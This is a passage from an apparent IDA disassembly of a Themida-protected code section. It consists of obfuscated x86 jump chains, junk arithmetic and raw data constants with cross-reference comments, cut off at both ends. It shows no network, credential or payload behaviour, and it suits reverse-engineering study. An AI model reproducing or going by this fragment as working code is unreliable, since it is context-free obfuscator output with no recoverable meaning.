24h ; DATA XREF: Themida_:0054FEC0o dd 582434FFh, 7D4A68h, 0D7B9E900h, 0B850FFFFh, 2FE00BF6h dd 5EB5E948h, 0E95EFFFFh, 28A1h, 62D68h, 49C4E900h, 56660000h dd 229EBE66h, 47AE9h, 0D9E95C00h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1AF: ; CODE XREF: Themida_:00551E1Bj mov ebp, [esp] jmp loc_554CF8 ; --------------------------------------------------------------------------- db 81h dd 44883CC5h, 0E9EE01E8h, 0FFFF8F77h ; --------------------------------------------------------------------------- loc_55C1C4: ; CODE XREF: Themida_:0056048Dj add esi, 611F3CB7h pop edx add eax, esi pop esi jmp loc_550033 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 4C48304h, 4A3BA52h, 0CA810BE4h, 53223E30h dd 0DA968h, 240C8900h, 0FFFFFFB9h, 0F0CCE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1FA: ; CODE XREF: Themida_:00553317j and ebx, 66123888h push ecx mov ecx, 5AAA3D79h add ebx, ecx pop ecx sub edi, ebx pop ebx shl edi, 3 add edi, 9251B466h jmp loc_561E0D ; --------------------------------------------------------------------------- loc_55C21A: ; CODE XREF: Themida_:00556F04j mov ebp, esp jmp loc_551A04 ; --------------------------------------------------------------------------- loc_55C221: ; CODE XREF: Themida_:005572A8j add ebp, 4 xchg ebp, [esp] pop esp add esi, 4 add esi, 2 push esi mov esi, esp jmp loc_555ECF ; --------------------------------------------------------------------------- dd 0CA2BB305h, 35B95110h, 0E91AA23Eh, 60E3h, 8704C083h dd 555C2404h, 4BDh, 6E2AE900h, 0C7810000h, 1, 8F7EE947h dd 1C33FFFFh, 24248B24h, 68E9F766h, 1FA1h, 54243489h, 8324348Bh dd 0C68104C4h, 4, 4E40E953h, 0C481FFFFh, 4, 0FFAA06E9h dd 8EDC1FFh, 1696E9h, 24148900h, 64DE9h, 0EF6800h, 0E95B408Ch dd 0FFFFDD60h, 0E9E3C680h, 0FFFF4909h, 8704EB83h, 0FAE9241Ch dd 66FFFF9Eh, 4244401h, 246C8166h, 0E94B9304h, 0FFFFBD41h dd 4EC815Bh, 89000000h, 34B9240Ch, 9764623h, 0A019E9CFh dd 0CCB9FFFFh, 0E92FE953h, 89AEh, 0E43EE81h, 0CAE92676h dd 83000064h, 5F042404h, 18B368h, 24148900h, 4BAh, 0E9D70100h dd 53F3h, 324EB951h, 0E1C10695h, 4F18107h, 894A9927h, 3F30E9CFh dd 0E281FFFFh, 77E363D7h, 2EA9B850h, 99E91725h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C343: ; CODE XREF: Themida_:0055B02Fj push 2EC1h jmp loc_555AA5 ; --------------------------------------------------------------------------- db 1, 0DFh, 0E9h dd 0FFFFFF84h, 0EC815266h, 4, 0E9240489h, 0FFFFE7D0h, 0FDBA525Ch dd 8147AD36h, 0CE042444h, 29586F1Eh, 0E9042454h, 0FFFFA0F5h dword_55C37C dd 0E940478Fh, 0FFFF3B93h, 3181D101h, 746B0616h, 83240C8Bh ; DATA XREF: Themida_:0054FD58o dd 895704C4h, 4EC81E7h, 89000000h, 0DE9242Ch db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C3A3: ; CODE XREF: Themida_:00552918j push dword ptr [esp] jmp loc_562741 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4EF8300h, 31243C33h, 3C33243Ch, 24248B24h, 68240C89h dd 5356h, 7DC9E9h, 592D5D00h, 89CE69E2h, 0EC8158C2h, 4 dd 0BD242C89h, 23EE5699h, 0F707E5C1h, 7EDC1D5h, 0FFCC64E9h dd 58C629FFh, 0FF6348E9h, 0E1BA52FFh, 0F7638137h, 6E2C1DAh dd 0F703E2C1h, 0A1CA81DAh, 836C1558h, 0A7E904ECh db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C417: ; CODE XREF: Themida_:005636C5j or edx, eax shl edx, 1 push edx mov edx, 0DB55D87h neg edx sub edx, 37BA7A8Ch shr edx, 7 shr edx, 6 shl edx, 1 push ebp push edi mov edi, 2C920399h mov ebp, 2C99AABFh xor ebp, edi mov edi, [esp] add esp, 4 xor edx, ebp mov ebp, [esp] add esp, 4 add edx, edi push ebx mov ebx, 0 jmp loc_55764D ; --------------------------------------------------------------------------- dw 5368h dd 0E9000010h, 5781h, 8247429h, 31E95D5Eh, 5EFFFF9Fh, 4EB6F581h dd 6808D9h, 29000000h, 875D242Ch, 0E9D2F7D5h, 0FFFFA3DDh dword_55C488 dd 24048B66h, 6D68h, 24348900h, 2434FF54h, 0E150E95Eh ; DATA XREF: Themida_:0054FE08o dd 505AFFFFh, 621E9EB8h, 7AD4E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C4AA: ; CODE XREF: Themida_:0055F0E5j pop esp push ecx mov ecx, esp jmp loc_560B46 ; --------------------------------------------------------------------------- loc_55C4B3: ; CODE XREF: Themida_:00560304j dec ecx add ecx, 5A244A44h jmp loc_5565EF ; --------------------------------------------------------------------------- loc_55C4BF: ; CODE XREF: Themida_:005576BCj dec ebx jmp loc_5573F4 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E289525Bh, 4C281h, 0C2830000h, 24148704h, 1797E9h dd 4C48100h, 57000000h, 8D13B2BFh, 4CF8143h, 0E93AEB19h dd 0FFFFB602h, 42474FFh, 24048F5Eh, 0FF962FE9h, 8027B4FFh dd 0C4FE11F4h, 3053EC80h, 24048BE2h, 8004C483h, 0DAF67BEAh dd 523FC280h, 0F2E935B6h, 1FFFFB9h, 4770E9D3h, 0BF570000h dd 5EBE1CF4h, 8C4830B9h, 5FF9316Ch, 89CB8953h, 241C8BDEh dd 4C481h, 34FF0000h, 75B8E924h db 2 dup(0FFh) word_55C54E dw 6664h ; DATA XREF: Themida_:0054FE60o dd 6802B60Fh, 93Ch, 10FDE9h, 4BD3F700h, 2B0DB951h, 0C9813434h dd 416A0428h, 757BBF57h, 0F92142D2h, 0B6F1815Fh, 81178A52h dd 25D816C1h, 59CB29ADh, 5C56EB81h, 0EB817F3Eh, 166AD12Bh dd 0E4E9D801h, 6800002Dh, 78D71DEh, 2ECBE9h, 2434FF00h dd 7CC4E9h, 4C68100h, 83000000h, 348704C6h, 7AE95C24h dd 66FFFF49h, 0E924148Bh, 0FFFFFA89h, 0E904C383h, 5A4Ch ; --------------------------------------------------------------------------- loc_55C5CC: ; CODE XREF: Themida_:005545ADj pop eax sub esi, 30125EA8h push 774h mov [esp], ebp mov ebp, 0CC91C544h sub esi, 6C1F3EB8h jmp loc_55EEB1 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 242C8704h, 0AE46E95Ch, 0EC81FFFFh, 4, 0B0240489h dd 0E9E0D0BAh, 0FFFF9B5Fh ; --------------------------------------------------------------------------- loc_55C60C: ; CODE XREF: Themida_:00553400j mov ebx, 198405EBh or ebx, 488012F4h dec ebx and ebx, 50C301B3h jmp loc_561932 ; --------------------------------------------------------------------------- db 66h dd 5E66F289h, 66D50166h, 6824148Bh, 56ADh, 0E9241489h dd 0FFFF9600h dword_55C63C dd 240C8B66h, 4541E9h ; DATA XREF: Themida_:0054FD00o db 0 ; --------------------------------------------------------------------------- loc_55C645: ; CODE XREF: Themida_:005582E3j pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push 0FFFFh jmp loc_5519E6 ; --------------------------------------------------------------------------- dw 0C229h dd 5AD02958h, 0FF4267E9h, 241C87FFh, 5124248Bh, 35BFE9h db 0 ; --------------------------------------------------------------------------- loc_55C679: ; CODE XREF: Themida_:005628A4j add esi, 4 jmp loc_563F76 ; --------------------------------------------------------------------------- dd 0E99C5066h, 0FFFF7350h, 60E9E901h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C693: ; CODE XREF: Themida_:00558D31j or ebx, 11DF4FA4h push ebp jmp loc_552984 ; --------------------------------------------------------------------------- db 81h dd 0D523DEC2h, 39EA8177h, 8B618F65h, 0C481240Ch, 4, 2C281h dd 0FF520000h, 5A042474h, 45E4E9h, 4BD00h, 44810000h, 1EA50424h dd 6C01519Dh, 0EC810424h, 4, 68241C89h, 519D1EA5h, 245C295Bh dd 8F5D5B08h, 682404h, 89000034h, 87E9241Ch, 81000015h dd 4C3h, 241C8700h, 5224248Bh, 92BD5551h, 89519002h, 96BA5DE9h dd 31519002h, 0D50159CAh, 8124148Bh, 4C4h, 242C3300h, 33242C31h dd 248B242Ch, 0E9F1F724h, 0FFFFD747h ; --------------------------------------------------------------------------- loc_55C738: ; CODE XREF: Themida_:0055D427j pop dword ptr [esp] pop esp div cl movzx cx, ah push 392Fh mov [esp], ebx mov ebx, esp push ebp mov ebp, 1A222E1Eh inc ebp add ebp, 0FFFFFFFFh not ebp xor ebp, 0E5DDD1E5h add ebx, ebp jmp loc_557935 ; --------------------------------------------------------------------------- loc_55C765: ; CODE XREF: Themida_:00563A15j mov ebx, 3C864E3Fh mov esi, 218A2EF3h sub esi, 178715E3h add esi, ebx jmp loc_5511E4 ; --------------------------------------------------------------------------- loc_55C77C: ; CODE XREF: Themida_:0055049Bj add ebp, 15F24D8Fh or ebp, 28F04B9Fh add ebp, 0C2069065h add edx, ebp pop ebp jmp loc_558208 ; --------------------------------------------------------------------------- a@so db '@éO&',0 align 4 dd 0C5314305h, 0B850577Ch, 70A6C54h, 0CFE065BFh, 0E9C701F9h dd 0FFFF9559h ; --------------------------------------------------------------------------- loc_55C7B4: ; CODE XREF: Themida_:00555E24j inc ebp not ebp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_555F64 ; --------------------------------------------------------------------------- db 0F7h dd 15C281DAh, 13670FFh, 6FE95AD0h, 83FFFFF2h, 0C8704C1h dd 6873E924h, 8F54FFFFh, 0B9512404h, 4, 4244C01h, 0FFBDA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C7F9: ; CODE XREF: Themida_:00553777j mov [esp], ecx mov ecx, 6C0E2FA5h sub esp, 4 mov [esp], esi mov esi, 5CA704B6h push edx mov edx, esp push esi mov esi, 4 add edx, esi jmp loc_553B54 ; --------------------------------------------------------------------------- dd 4246C81h, 1D7E5CDBh, 743FE9h db 0 ; --------------------------------------------------------------------------- loc_55C829: ; CODE XREF: Themida_:00558B1Bj add ecx, 2F6E0E30h jmp loc_5627ED ; --------------------------------------------------------------------------- dd 4C481h, 0BE560000h, 62A2A62h, 29F6EE81h, 0F729D2E8h dd 5FFB015Eh, 94DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C852: ; CODE XREF: Themida_:00550DE8j xor eax, edi mov edi, [esp] add esp, 4 jmp loc_558391 ; --------------------------------------------------------------------------- db 0BAh dd 32374F86h, 6A8CBA52h, 0D0296CCCh, 53D0295Ah, 0CC6A8CBBh dd 5BD8016Ch, 0D0F7485Ah, 7E9D8F7h, 0FFFFFFAAh, 5F042474h dd 0E924048Fh, 0FFFFA20Eh ; --------------------------------------------------------------------------- loc_55C890: ; CODE XREF: Themida_:0055068Bj add edx, 22601053h mov ebx, edx pop edx and ecx, ebx mov ebx, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or ecx, 213C17C5h not ecx push 7BF5h mov [esp], esi jmp loc_550B62 ; --------------------------------------------------------------------------- db 50h dd 584B6857h, 1E95871h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C8CF: ; CODE XREF: Themida_:0055D4A0j add edx, 20C240B6h add edx, 2E75977h jmp loc_55BFBD ; --------------------------------------------------------------------------- dword_55C8E0 dd 751968h, 24048900h, 42474FFh, 582434FFh, 57EAE952h ; DATA XREF: Themida_:0054FCC4o dd 0A0BA0000h, 81BEB44Ah, 0FC1E26EEh, 0ABEE8125h, 29105B28h dd 0ABC681D6h, 81105B28h, 0FC1E26C6h, 2434FF25h, 4C4815Ah dd 0E9000000h, 8089h ; --------------------------------------------------------------------------- loc_55C924: ; CODE XREF: Themida_:0055DBF2j mov esp, [esp] pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_54FF17 ; --------------------------------------------------------------------------- dw 0D8F7h dd 0FC04BD55h, 0E831E88Fh, 83242C8Bh, 5E5004C4h, 5C0D2D58h dd 0F0017074h, 745C0D05h, 2434FF70h, 4C4835Eh, 31240433h dd 4332404h, 23685C24h, 89000067h, 0E589242Ch, 4BA52h dd 0D5010000h, 2205E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C97E: ; CODE XREF: Themida_:00555EC4j sub esi, ebx mov ebx, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_55430D ; --------------------------------------------------------------------------- loc_55C992: ; CODE XREF: Themida_:0055D5B5j mov esi, [esp] jmp loc_554894 ; --------------------------------------------------------------------------- loc_55C99A: ; CODE XREF: Themida_:00553891j add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_55E9C3 ; --------------------------------------------------------------------------- db 52h dd 10DDE9h, 3561E900h, 8957FFFFh, 4C781E7h, 0E9000000h dd 8085h ; --------------------------------------------------------------------------- loc_55C9C4: ; CODE XREF: Themida_:00564444j push 9D7h jmp loc_55ED05 ; --------------------------------------------------------------------------- dw 0C483h dd 6DED8104h, 831C6C6Eh, 2C8904ECh, 0B9515724h, 0F680659h dd 3159CF89h, 5F04247Ch, 5E2434FFh, 4C481h, 48680000h dd 89000022h, 59BB241Ch, 310F6806h, 15D5BDEh, 0C597E9F0h dd 0C8BFFFFh, 4C48324h, 0FF74A1E9h, 83EB81FFh, 13E5A68h dd 83C381EBh, 8B3E5A68h, 0C481242Ch, 4, 55F0B850h, 0B353136h dd 0E964274Dh, 0FFFF62DAh ; --------------------------------------------------------------------------- loc_55CA40: ; CODE XREF: Themida_:0055CE8Fj add ebp, 5A7517BEh shl ebp, 2 xor ebp, 0C04AF1D8h add ebx, ebp jmp loc_54FFDE ; --------------------------------------------------------------------------- loc_55CA56: ; CODE XREF: Themida_:00551B7Fj mov eax, 378863DAh and esi, eax pop eax add esi, 6D11573h shl esi, 5 add esi, 24BE3DCFh jmp loc_55E4F2 ; --------------------------------------------------------------------------- word_55CA72 dw 48Bh ; DATA XREF: Themida_:0054FC44o aSbo db '$éO',0 align 2 dw 0EC81h dd 4, 0B8240489h, 26CE500Ah, 34FFC789h, 0C4835824h, 0D874E904h dd 0BF57FFFFh, 4, 0E95FF901h, 0FFFF5C6Fh, 53DBC580h, 0E7C058B7h dd 78EF8005h, 0B0E9FA28h, 46000056h, 0F5EBC681h, 0ECE99A8Eh dd 89000070h, 32E95AD0h, 5B00007Dh, 8367E952h, 48F0000h dd 4784E924h, 2C890000h, 0A03FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CAE2: ; CODE XREF: Themida_:0055A772j shr ebx, 3 neg ebx jmp loc_55A80A ; --------------------------------------------------------------------------- dword_55CAEC dd 0AFE95256h ; DATA XREF: Themida_:0054FDB0o db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CAF3: ; CODE XREF: Themida_:00550FC8j sub esp, 4 jmp loc_55AFA7 ; --------------------------------------------------------------------------- loc_55CAFB: ; CODE XREF: Themida_:005523B8j mov esi, 347D047Fh jmp loc_551249 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 0E95C2404h, 2E8h ; --------------------------------------------------------------------------- loc_55CB14: ; CODE XREF: Themida_:0055BBC7j pop ecx jmp loc_564A57 ; --------------------------------------------------------------------------- loc_55CB1A: ; CODE XREF: Themida_:005655DBj push edi mov edi, 43C51C65h jmp loc_55B85A ; --------------------------------------------------------------------------- loc_55CB25: ; CODE XREF: Themida_:00552217j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55CFD0 ; --------------------------------------------------------------------------- loc_55CB35: ; CODE XREF: Themida_:00556CEEj sub ebx, 3AABB00h jmp loc_55E965 ; --------------------------------------------------------------------------- loc_55CB40: ; CODE XREF: Themida_:0055E515j shl edx, 1 push esi push ebx mov ebx, 67234169h shl ebx, 6 sub ebx, 0C8D05A3Fh jmp loc_5646E9 ; --------------------------------------------------------------------------- db 81h dd 0C91FE0F3h, 0E9F38720h, 0FFFFE175h, 4001BBEh, 5EF03132h dd 48BC701h, 4C48124h, 83000000h, 0E95704C7h, 199Ah, 8304C483h dd 0FF5302C3h, 5B042474h, 5C24048Fh, 2914E9h, 241C8B00h dd 4C481h, 0C1810000h, 69DE594Ah, 8BE9D901h, 0E9000083h dd 0FFFF3367h ; --------------------------------------------------------------------------- loc_55CBB0: ; CODE XREF: Themida_:005646D2j push eax mov eax, 4 jmp loc_55766A ; --------------------------------------------------------------------------- db 50h dd 0DB5023B8h, 19853540h, 0C12917A0h, 0FFC555E9h, 64B6FFh dd 67C8E9FEh, 0E2C10000h, 1A4EE906h, 0DBF70000h, 25F3F381h dd 434359C8h, 1453EB81h, 0D829A55Ah, 403A2D5Bh, 0C101048Eh dd 5724048Bh, 0BE565F54h, 4, 6C3DE9h db 0 ; --------------------------------------------------------------------------- loc_55CC09: ; CODE XREF: Themida_:0055B860j push eax mov eax, 2C0A318Fh dec eax push eax not dword ptr [esp] pop eax xor eax, 101C43D2h add eax, 27506EA3h jmp loc_551F7F ; --------------------------------------------------------------------------- dd 446B850h, 0D8F7016Eh, 64E40635h, 5BFE3583h, 0C1407091h dd 67E905E0h, 83FFFFCEh, 0C58104C4h, 4, 284968h, 240C8900h dd 74A7E956h, 0F8010000h, 8A5BCD2Dh, 48B95157h, 0E956A448h dd 0FFFFC94Ah ; --------------------------------------------------------------------------- loc_55CC68: ; CODE XREF: Themida_:00560FA2j add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp jmp loc_5642E0 ; --------------------------------------------------------------------------- loc_55CC77: ; CODE XREF: Themida_:0055515Fj mov edi, 38DA531Eh inc edi xor edi, 157A2E83h and edi, 70A46ACBh jmp loc_550EB1 ; --------------------------------------------------------------------------- dw 0EA01h dd 0FF81F0E9h, 0FE4824FFh, 2CD8F6C8h, 34E7E97Fh, 2C8BFFFFh dd 4C48324h, 0C620E951h, 9566FFFFh, 66D5F766h, 0CD686650h dd 2C896664h, 0E9586624h, 0FFFFDF26h, 0B9F58145h, 0E9EB6A42h dd 729Fh, 88DDE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CCD6: ; CODE XREF: Themida_:0055ECF0j add eax, 4 xchg eax, [esp] pop esp or edx, eax shl edx, 1 push 57D7h mov [esp], ecx push 0FFFFFFFFh push dword ptr [esp] pop ecx push ebx mov ebx, esp jmp loc_55FF4A ; --------------------------------------------------------------------------- dw 0EB81h dd 0DD61AB5h, 77EB815Dh, 8161E851h, 6C7443EBh, 0E9C32972h dd 0FFFF90AEh, 28F7E681h, 7CE9759Bh db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD1F: ; CODE XREF: Themida_:00553FF9j sub ecx, eax add ecx, 2FB6E72h pop eax push edi mov edi, 2F6E0E30h jmp loc_554392 ; --------------------------------------------------------------------------- db 9Dh dd 31DDE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD3A: ; CODE XREF: Themida_:005567BBj mov esp, [esp] mov [esp], ebx mov ebx, 80000h and eax, ebx pop ebx or eax, eax jz loc_55AFF8 push dword ptr [edi+1Ch] mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_55A6AC ; --------------------------------------------------------------------------- db 81h dd 3C2BF2C5h, 0E3BA5229h, 0E9152C54h, 0FFFFE805h, 0AF6BA52h dd 0CA816AA0h, 113A1873h, 0EA81DAF7h, 44EFCE5Bh, 295AD301h dd 5094E9D3h, 80E90000h db 31h, 2 dup(0FFh) byte_55CD97 db 0ADh ; DATA XREF: Themida_:0054FCE4o dd 145B68h, 241C8900h, 315426BBh, 19EB8148h, 68045771h dd 1EBDh, 0E9243489h, 0FFFF8663h, 4C4815Ch, 0F000000h dd 61D868C8h, 4890000h, 3149E924h, 4C01FFFFh, 6C810424h dd 66080424h, 0E9595ABBh, 568Fh, 900F8DBDh, 5DEE3106h dd 5504EEC1h, 4239A8BDh, 0AEE58133h, 0E92FAC36h, 0FFFFF3BBh dd 0FD8E953h, 0BA520000h, 767061h, 15AD701h, 61EF81EFh dd 81007670h, 781F0FEFh, 242C8B36h, 8304C483h, 3C3304C7h dd 243C3124h, 8B243C33h, 0EC812424h, 4, 68240C89h, 4FC4h dd 24048F54h, 588BE9h db 0 ; --------------------------------------------------------------------------- loc_55CE45: ; CODE XREF: Themida_:0055A0AFj add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] and eax, edx pop edx or eax, eax jnz loc_5547C7 push 1845h mov [esp], eax push 7CA464C4h pop eax push 1D77h mov [esp], ebx mov ebx, 1DB9577Bh sub ebx, 0C29DE21Ah push ebp mov ebp, 9510CE0h or ebp, 1CEA6FF1h jmp loc_55CA40 ; --------------------------------------------------------------------------- dd 8158C201h, 2C2h, 0E1895100h, 398168h, 241C8900h, 2436C0BBh dd 57D3F708h, 0FFCF0EE9h, 4C381FFh, 81000000h, 4ECh, 24348900h dd 0C7685051h, 5800DE01h, 728BE9h, 24248900h, 1E90E9h db 0 ; --------------------------------------------------------------------------- loc_55CED9: ; CODE XREF: Themida_:0055484Dj xchg edx, [esp] pop esp jmp loc_559EB5 ; --------------------------------------------------------------------------- loc_55CEE2: ; CODE XREF: Themida_:00563908j xor eax, 57242F2h and eax, 19D130DAh xor eax, 4D951AFAh xor eax, 2E7B1951h sub eax, 0EAC1FEB1h add edx, eax jmp loc_554584 ; --------------------------------------------------------------------------- loc_55CF02: ; CODE XREF: Themida_:005526AAj sub ebx, eax sub ebx, 138A223Ah push ecx mov ecx, 74F6424Fh shl ecx, 4 shl ecx, 5 add ecx, 8C7E7CC6h add ebx, 13292FFEh sub ebx, ecx sub esp, 4 mov [esp], esi jmp loc_5636DF ; --------------------------------------------------------------------------- loc_55CF2F: ; CODE XREF: Themida_:00564B6Cj push dword ptr [esp+4] pop ebx pop dword ptr [esp] xchg ecx, ebx not ecx xchg ecx, ebx xchg ebx, [esp] mov eax, [esp] jmp loc_55B929 ; --------------------------------------------------------------------------- dd 9103E953h, 0EC83FFFFh, 242C8904h, 0FFE70BE9h, 24048BFFh dd 6804C483h, 0F90h, 68243C89h, 3576h, 0FF4FB5E9h, 241C89FFh dd 0C381E389h, 4, 0FFF643E9h, 0A2468FFh, 0C890000h, 4EC8324h dd 0FF8A48E9h, 0C30059FFh, 0FF776EE9h, 5AD729FFh, 0FF4EF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CFA1: ; CODE XREF: Themida_:0055FF66j push eax not dword ptr [esp] pop eax xor eax, 84E0E117h jmp loc_563DB1 ; --------------------------------------------------------------------------- dd 0C6E9CD01h, 5200000Fh, 0F8B08BB6h, 5AF030h, 48B66C1h dd 2C48124h, 0E9000000h, 0FFFF65BCh ; --------------------------------------------------------------------------- loc_55CFD0: ; CODE XREF: Themida_:0055CB30j xchg ebp, [esp] pop esp loc_55CFD4: ; CODE XREF: Themida_:0055D35Ej push ebx push esp pop ebx push ecx mov ecx, 4 add ebx, ecx jmp loc_552808 ; --------------------------------------------------------------------------- loc_55CFE4: ; CODE XREF: Themida_:0055B6C2j push 75FBh mov [esp], esi mov esi, esp jmp loc_5616E8 ; --------------------------------------------------------------------------- aSsK db 'Sé×k',0 dd 4C48300h, 2474FF56h, 48F5E04h, 24248B24h, 0E9028864h dd 0FFFF2F07h, 4C681h, 0EE810000h, 4, 0E9243487h, 5F0Ah dd 0A9C8E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D02A: ; CODE XREF: Themida_:005533ECj mov [esp], ebp mov ebp, 1FF57E79h add ebp, 1 sub esp, 4 mov [esp], eax push 6FA60304h pop eax sub eax, 701D48E4h shr eax, 8 dec eax xor eax, 0B5F5827h xor eax, 14D5AEE4h add ebp, 10C36851h sub ebp, eax push edx mov edx, 10C36851h jmp loc_555389 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 77B5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D072: ; CODE XREF: Themida_:00552DABj add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ecx jmp loc_553F34 ; --------------------------------------------------------------------------- loc_55D082: ; CODE XREF: Themida_:0056430Dj mov edi, esp push edx jmp loc_560F9D ; --------------------------------------------------------------------------- dw 0BD55h dd 3E79137Ch, 0D531D5F7h, 0D531EA31h, 0FF6A94E9h, 4875CFFh dd 52665C24h, 6E176850h, 2DE90000h, 29FFFF32h, 21EB81EBh dd 0E9636025h, 0FFFF3028h ; --------------------------------------------------------------------------- loc_55D0BC: ; CODE XREF: Themida_:0055B2C1j push ebx mov ebx, esp sub esp, 4 mov [esp], esi mov esi, 4 add ebx, esi pop esi push eax mov eax, 4 jmp loc_553199 ; --------------------------------------------------------------------------- loc_55D0D8: ; CODE XREF: Themida_:00560B81j mov esp, [esp] sub esp, 4 mov [esp], ebx push eax jmp loc_562F28 ; --------------------------------------------------------------------------- loc_55D0E7: ; CODE XREF: Themida_:005564D7j add bl, ah jmp loc_55F84F ; --------------------------------------------------------------------------- loc_55D0EE: ; CODE XREF: Themida_:00553820j add edi, 4 xchg edi, [esp] pop esp push ecx mov ecx, 1C0804EFh jmp loc_555E0C ; --------------------------------------------------------------------------- dd 0BA04C483h, 1BC22C0Bh, 1CDCC281h, 0EC833C32h, 24148904h dd 5A2414F7h, 0FF9D41E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D11D: ; CODE XREF: Themida_:00554AB5j neg esi sub esi, 0A4B0B404h jmp loc_55259F ; --------------------------------------------------------------------------- dw 3268h dd 8900005Fh, 0D6BA2414h, 0C1432042h, 0EAC103EAh, 0DD00E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D142: ; CODE XREF: Themida_:00564929j push dword ptr [ebx] push esi mov esi, 782A3F6Ah xor [esp+4], esi pop esi mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor ecx, 782A3F6Ah push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp push edi mov edi, 4 jmp loc_56441D ; --------------------------------------------------------------------------- loc_55D17F: ; CODE XREF: Themida_:0055773Dj push ebp mov ebp, esp jmp loc_563833 ; --------------------------------------------------------------------------- db 57h dd 9143F9BFh, 0C781473Bh, 57A24C7Fh, 8305EFC1h, 0DEE904ECh dd 50FFFF96h, 4E7204B8h, 7206357Fh, 0C1897F4Eh, 8124048Bh dd 4C4h, 0FFCB0100h, 81592434h, 4C4h, 2B2CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D1C6: ; CODE XREF: Themida_:00559683j mov esp, [esp] mov [esp], ecx push 29A235E7h jmp loc_5521C0 ; --------------------------------------------------------------------------- dw 315Eh dd 4EC81C3h, 89000000h, 59BB241Ch, 0E97CDA62h, 0FFFF56B6h dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 53240489h, 7DF4BD55h dd 16E95DD3h, 5BFFFF35h, 597D420Dh, 2E9503Dh db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D217: ; CODE XREF: Themida_:0055E1F8j add ecx, 5620B494h sub esp, 4 mov [esp], edx mov edx, 181232EAh push ebx mov ebx, 6F6C5AF7h sub ebx, 4875F643h push 46FBh jmp loc_55ADD1 ; --------------------------------------------------------------------------- word_55D23E dw 8B66h ; DATA XREF: Themida_:0054FD80o dd 0D0E92424h db 2Ch, 2 dup(0FFh) byte_55D247 db 0FFh ; DATA XREF: Themida_:0054FCC0o dd 0FF042474h, 48B2434h, 6FE46824h, 1BE90000h, 29FFFFA6h dd 0E1C15FF9h, 83D1F707h, 1C8904ECh, 0FFFFBB24h, 62E9FFFFh db 86h, 2 dup(0FFh) byte_55D273 db 68h ; DATA XREF: Themida_:0054FC84o dd 6343h, 352DE9h, 24042900h, 4AE9E9h db 0 ; --------------------------------------------------------------------------- loc_55D285: ; CODE XREF: Themida_:00554222j pop eax add eax, ebp jmp loc_564C94 ; --------------------------------------------------------------------------- db 80h, 0E4h, 4Bh dd 2EC81h, 0DEE90000h, 0BEFFFFE4h, 76C3C84h, 5C63C681h dd 0C6012914h, 5C63EE81h, 31582914h, 60F1E9F5h, 0C4810000h dd 4, 73ECEB81h, 79E90946h, 59FFFF37h, 4C481h, 83E90000h dd 81000080h, 0FFFFFFEAh, 451368FFh, 3BE90000h, 41000036h dd 370ABD55h, 0E5816C6Fh, 331D2BE7h, 752DF581h, 0E901489Eh dd 0E9D9F75Dh, 0FFFFB862h, 8704EF83h, 895C243Ch, 4FF240Ch dd 240C8B24h, 4C481h, 0BE560000h, 6CC85A0Fh, 0E95EF129h dd 0FFFF8213h, 99B9515Ch, 0E93DB275h, 0FFFFACB2h ; --------------------------------------------------------------------------- loc_55D330: ; CODE XREF: Themida_:00562F64j xor ecx, [esp] jmp loc_55BE76 ; --------------------------------------------------------------------------- loc_55D338: ; CODE XREF: Themida_:0056486Cj mov [esp], esi mov esi, esp add esi, 4 jmp loc_55B21E ; --------------------------------------------------------------------------- loc_55D348: ; CODE XREF: Themida_:00559A0Fj add esp, 4 sub edi, 6102C6C2h and eax, edi mov edi, [esp] add esp, 4 or eax, eax jz loc_55CFD4 push 476Dh mov [esp], eax push esi mov esi, 1Ch sub esp, 4 mov [esp], esi jmp loc_55EE76 ; --------------------------------------------------------------------------- loc_55D380: ; CODE XREF: Themida_:0055B14Ej xor ecx, 0CC4A836Dh jmp loc_55984D ; --------------------------------------------------------------------------- loc_55D38B: ; CODE XREF: Themida_:0055EE91j sub eax, 54A30B71h jmp loc_56037E ; 